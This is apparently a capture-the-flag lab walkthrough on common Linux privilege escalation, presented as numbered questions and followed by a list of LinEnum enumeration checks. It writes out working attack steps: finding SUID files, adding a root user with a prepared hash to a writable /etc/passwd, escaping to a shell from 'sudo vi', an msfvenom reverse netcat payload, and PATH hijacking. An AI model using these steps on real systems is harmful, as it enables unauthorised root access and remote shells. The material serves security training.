Common Linux Privesc
Last updated
Was this helpful?
Last updated
Was this helpful?
Privilege Escalation involves going from a lower permission to a higher permission by exploiting a vulnerability, design flaw or configuration oversight in an operating system or application, and gain unauthorized access to user restricted resources.
Privilege escalation is crucial because it lets us gain system administrator levels of access, including:
Reset passwords
Bypass access controls to compromise protected data
Edit software configurations
Enable persistence, so we can access the machine again later
Change privilege of users
Get the root flag
There are two main privilege escalation variants
Horizontal privilege escalation: This is where we expand our reach over the compromised system by taking over a different user who is on the same privilege level as us (normal user hijacking another normal user). This can be used, for example, to gain access to another normal privilege user, that happens to have a SUID file attached to their home directory which can be used to get super user access.
Vertical privilege escalation (privilege elevation): This is where we attempt to gain higher privileges or access, with an existing account that we have already compromised (hijacking an account with privileges or root privileges).
#4 How many available shells are there on the system?
#5 What is the name of the bash script that is set to run every 5 minutes by cron?
#6 What critical file has had its permissions changed to allow some users to write to it?
The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges.
Files have permissions to allow or restric three operations (read/write/execute). So when we set permissions for a file, we should be aware of the Linux users to whom we allow or restrict all three permissions.
We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the command: "find / -perm -u=s -type f 2>/dev/null" to search the file system for SUID/GUID files. Let's break down this command.
find - Initiates the "find" command
/ - Searches the whole file system
-perm - searches for files with specific permissions
-u=s - Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form
-type f - Only search for files
2>/dev/null - Suppresses errors
#2 We know that "shell" is an SUID bit file, therefore running it will run the script as a root user! Lets run it!
#1 First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user7, with the password "password"
#2 Having read the information above, what direction privilege escalation is this attack?
#3 Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: "openssl passwd -1 -salt [salt] [password]". What is the hash created by using this command with the salt, "new" and the password "123"?
#4 Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username "new" and the password hash we created before?
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
#6 Now, use "su" to login as the "new" account, and then enter the password. If you've done everything correctly- you should be greeted by a root prompt! Congratulations!
#2 Let's use the "sudo -l" command, what does this user require (or not require) to run vi as root?
#3 So, all we need to do is open vi as root, by typing "sudo vi" into the terminal.
#4 Now, type ":!sh" to open a shell!
#4Create a payload using: "msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R"
#5What directory is the "autoscript.sh" under?
#2 Let's go to user5's home directory, and run the file "script". What command do we think that it's executing?
#4 Now we're inside tmp, let's create an imitation executable. The format for what we want to do is:echo "[whatever command we want to run]" > [name of the executable we're imitating]What would the command look like to open a bash shell, writing to a file with the name of the executable we're imitating
#5 Great! Now we've made our imitation, we need to make it an executable. What command do we execute to do this?
#6 Now, we need to change the PATH variable, so that it points to the directory where we have our imitation "ls" stored! We do this using the command "export PATH=/tmp:$PATH"Note, this will cause you to open a bash prompt every time you use "ls". If you need to use "ls" before you finish the exploit, use "/bin/ls" where the real "ls" executable is.Once you've finished the exploit, you can exit out of root and use "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH" to reset the PATH variable back to default, letting you use "ls" again!
Kernel and distribution release details
System Information:
Hostname
Networking details:
Current IP
Default route details
DNS server information
User Information:
Current user details
Last logged on users
Shows users logged onto the host
List all users including uid/gid information
List root accounts
Extracts password policies and hash storage method information
Checks umask value
Checks if password hashes are stored in /etc/passwd
Extract full details for 'default' uid's such as 0, 1000, 1001 etc
Attempt to read restricted files i.e. /etc/shadow
List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
Basic SSH checks
Privileged access:
Which users have recently used sudo
Determine if /etc/sudoers is accessible
Determine if the current user has Sudo access without a password
Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
Is root's home directory accessible
List permissions for /home/
Environmental:
Display current $PATH
Displays env information
Jobs/Tasks:
List all cron jobs
Locate all world-writable cron jobs
Locate cron jobs owned by other users of the system
List the active and inactive systemd timers
Services:
List network connections (TCP & UDP)
List running processes
Lookup and list process binaries and associated permissions
List inetd.conf/xined.conf contents and associated binary file permissions
List init.d binary permissions
Version Information (of the following):
Sudo
MYSQL
Postgres
Apache
Checks user config
Shows enabled modules
Checks for htpasswd files
View www directories
Default/Weak Credentials:
Checks for default/weak Postgres accounts
Checks for default/weak MYSQL accounts
Searches:
Locate all SUID/GUID files
Locate all world-writable SUID/GUID files
Locate all SUID/GUID files owned by root
Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
Locate files with POSIX capabilities
List all world-writable files
Find/list all accessible *.plan files and display contents
Find/list all accessible *.rhosts files and display contents
Show NFS server details
Locate *.conf and *.log files containing keyword supplied at script runtime
List all *.conf files located in /etc
Locate mail
Platform/software specific tests:
Checks to determine if we're in a Docker container
Checks to see if the host has Docker installed
Checks to determine if we're in an LXC container
